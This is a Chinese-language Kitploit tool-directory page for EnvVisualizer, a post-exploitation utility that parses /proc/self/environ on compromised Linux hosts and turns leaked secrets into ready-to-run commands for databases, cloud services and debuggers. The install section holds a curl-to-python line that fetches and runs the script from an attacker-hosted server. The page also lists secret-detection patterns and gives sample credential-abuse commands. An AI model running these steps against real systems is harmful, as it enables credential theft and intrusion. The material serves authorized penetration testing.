Skip to content
KitploitKITPLOIT
工具漏洞利用博客
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/w4r10ck423/envvisualizer
防御工具漏洞分析配置审计信息收集后渗透利用CTF渗透测试云安全秘密检测红队
GitHubw4r10ck423/envvisualizer

EnvVisualizer

444个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

解析并可视化被入侵 Linux 主机上的 /proc/self/environ —— 按技术栈(AWS、Django、Rails、NodeJS、MySQL、K8s、Docker 等)对环境变量进行分类,并生成带有严重性评级、可直接运行的命令的洞察。

查看仓库

EnvVisualizer

root@kitploit:~
___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

在已攻陷的 Linux 机器上解析、分类并可视化 /proc/self/environ。
将一大坨混杂的环境变量文本在几秒内转化为结构化、颜色编码的情报。


Python Platform License Context Author

作者: @W4r10ck423


问题所在

当你进入一台机器并读取 /proc/self/environ 时,你会看到这样的内容:

root@kitploit:~
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer 将其转化为:

root@kitploit:~
============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

安装 rich 后,每个类别都会获得自己的颜色编码表格。


功能特性

  • 三种输入模式 — 直接读取文件(完美准确)、通过 stdin 管道输入,或粘贴原始字符串
  • 智能双类解析器 — 正确处理因复制粘贴导致空字节被剥离的拼接字符串;检测大写 POSIX 变量和已知的小写前缀变量(npm_*、node_*、pip_* 等)
  • 六个语义类别 — 安全/认证、身份、路径与目录、NPM/Node、网络/代理、系统及其他
  • PATH 展开 — 每个目录以项目符号列出,而非冒号分隔的一堵墙
  • 密钥检测 — 标记名称或值匹配凭据模式(TOKEN、KEY、SECRET、PASSWORD 等)的变量,并显示 ⚠ 警告
  • 渗透测试洞察面板 — 自动呈现可操作的发现:root 上下文、sudo 提权、暴露的 Node.js 调试端口、活动的生命周期脚本
  • Rich 或纯文本 — 安装 rich 时使用颜色编码表格;作为后备提供干净的纯文本输出(零依赖要求)

安装

选项 1 — 克隆并运行(推荐用于渗透测试环境)

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

选项 2 — 安装为系统命令

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

选项 3 — 单文件投放(无需 git)

将 envvisualizer.py 复制到目标机器或攻击者机器。它以零依赖运行:

root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

环境要求

依赖版本必需
Python≥ 3.8是
rich≥ 13.0否(纯文本后备)

使用方法

root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

输入模式

提示: 只要你有文件访问权限,优先使用 -f。
真实文件中的空字节分隔符是精确的——无需启发式。


示例

直接从 proc 读取(最佳准确性)

root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

通过 stdin 管道输入

root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py

粘贴原始字符串(从 web shell / RCE 输出复制粘贴)

root@kitploit:~
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

纯文本输出(无 rich 依赖)

root@kitploit:~
python3 envvisualizer.py -f /proc/self/environ --no-rich

输出类别

变量被分为 12 个类别,按优先级顺序评估(首个匹配胜出)。


渗透测试洞察

渗透测试洞察面板会触发针对性的、感知技术栈的检测,分为四个严重级别。
可直接运行的命令会根据环境中实际发现的值即时生成。

按技术栈检测

示例输出(多技术栈场景)

root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

字符串解析器的工作原理

当 /proc/self/environ 被复制粘贴时(例如,从 web shell 或 curl 输出中),空字节被剥离,相邻变量被融合:

root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
     ↑──↑↑───────────────────↑
   value    next key starts here

简单的 WORD= 分割会将 devnpm_config_user_agent 作为键。

EnvVisualizer 使用双类边界检测器,仅在以下情况分割:

  1. 大写为主的键 — USER、HOME、JOURNAL_STREAM 等
  2. 已知的小写前缀 — npm_*、node_*、pip_*、java_*、python_*、ruby_* 等

由于正则表达式在融合令牌内部找到 npm_config_user_agent,前一个值会自动修剪为 dev。无需后顾,无需词边界假设——仅以键模式本身作为锚点。


许可证

MIT — 自由使用,欢迎署名。

下载工具
方法命令准确性
直接读取文件python3 envvisualizer.py -f /proc/self/environ✅ 完美(空字节分割)
Stdin 管道cat /proc/self/environ | python3 envvisualizer.py✅ 完美(空字节分割)
粘贴字符串python3 envvisualizer.py -r 'USER=dev...'✅ 良好(双类启发式)
无参数(演示)python3 envvisualizer.py✅ 完美(自身进程)
类别典型变量
🔐 安全 / 认证SSH_*、SUDO_*、任何匹配 TOKEN、KEY、SECRET、PASSWORD、CREDENTIAL、CERT 的内容
👤 身份USER、LOGNAME、HOME、SHELL、UID、GID
🗄 数据库PG*、MYSQL_*、MONGO*、REDIS_*、DATABASE_URL、DB_*、ELASTIC*、CASSANDRA_*、SQLALCHEMY_*
☁ 云 / 基础设施AWS_*、GOOGLE_*、AZURE_*、ARM_*、DOCKER_*、KUBERNETES_*、VAULT_*、TF_*、CLOUDFLARE_*
🔄 CI/CD 与 VCSGITHUB_*、GITLAB_*、CI_*、TRAVIS_*、CIRCLE*、JENKINS_*、HEROKU_*、BUILD_*
🔌 第三方 APISTRIPE_*、TWILIO_*、SENDGRID_*、SENTRY_*、DD_*、SLACK_*、OPENAI_*、ALGOLIA_*、AUTH0_*
🕸 Web 框架DJANGO_*、FLASK_*、RAILS_*、SPRING_*、ASPNETCORE_*、APP_KEY/ENV/DEBUG、SECRET_KEY_BASE、MIX_ENV、NEXT_*、VITE_*、REACT_APP_*
🐍 应用运行时PYTHON*、CONDA_*、VIRTUAL_ENV、GEM_*、BUNDLE_*、JAVA_*、JVM_*、MAVEN_*、CATALINA_*、GO*、RUST*、CARGO_*、PHP_*、DOTNET_*、PERL*、DENO_*
📦 NPM / Nodenpm_*、NODE、NODE_ENV、NODE_OPTIONS
📂 路径与目录PATH、PWD、*_DIR、*_PREFIX、*_HOME、*_CACHE、INIT_CWD
🌐 网络 / 代理*_PROXY、HOSTNAME、SSL_CERT_*、CURL_CA_BUNDLE、*_URL、*_ADDR
⚙ 系统LANG、TERM、EDITOR、INVOCATION_ID、JOURNAL_STREAM、XDG_*、LC_*
其他其他所有内容,按字母顺序排序
严重级别前缀含义
💀 CRITICAL[!!!]实时凭据、密钥或主密钥——即时影响
⚠ HIGH[!! ]令牌、调试模式或暴露的服务——可操作的攻击路径
→ MEDIUM[! ]可能有助于提权的有趣信息
▶ INFO[ * ]关于进程和环境的一般上下文
技术栈检测内容
PostgreSQLPGPASSWORD → 自动构建 psql postgresql://user:pass@host/db
MySQL / MariaDBMYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → 自动构建 mysql 命令
MongoDBMONGO_INITDB_ROOT_* → 自动构建 mongosh 命令
RedisREDIS_PASSWORD → 自动构建 redis-cli -a 命令
数据库 URLDATABASE_URL、MONGODB_URI 等 → 标记内嵌凭据
AWS密钥对 → 标记为长期或 STS 临时,建议 aws sts get-caller-identity
GCPGOOGLE_APPLICATION_CREDENTIALS → 建议 gcloud auth activate-service-account
AzureAZURE_CLIENT_SECRET → 标记租户 ID 并建议 az login --service-principal
HashiCorp VaultVAULT_TOKEN + VAULT_ADDR → 建议 vault token lookup
Kubernetes注入的 KUBERNETES_SERVICE_HOST → 标记 pod 上下文,建议读取 SA 令牌
Docker设置了 DOCKER_HOST → 标记守护进程暴露
GitHub / GitLab令牌 → 建议 API 验证 curl 命令
HerokuHEROKU_API_KEY → 标记并附带应用名称
Stripe实时 sk_live_* → CRITICAL;测试 sk_test_* → MEDIUM
DatadogDD_API_KEY → 标记指标/日志/追踪访问
SlackSLACK_BOT_TOKEN / SLACK_APP_TOKEN → 标记工作区访问
OpenAIOPENAI_API_KEY → 标记计费暴露
DjangoDJANGO_DEBUG=True → 标记堆栈跟踪暴露
FlaskFLASK_DEBUG=1 → 标记 Werkzeug 交互式调试器(PIN 绕过 / SSTI)
LaravelAPP_DEBUG=true + APP_KEY=base64:* → 标记 cookie 伪造路径
RailsRAILS_MASTER_KEY → CRITICAL(解密 credentials.yml.enc);SECRET_KEY_BASE → 会话 cookie 伪造
JVM带 jdwp 的 JAVA_TOOL_OPTIONS → 标记远程调试端口,建议 jdb -attach
TomcatCATALINA_HOME → 标记 tomcat-users.xml 的路径
Node.js--inspect / --inspect-brk → 标记调试器,建议 chrome://inspect
KerberosKRB5CCNAME → 标记票据缓存,建议 klist / Impacket
SudoSUDO_USER → 显示提权前的原始 UID/GID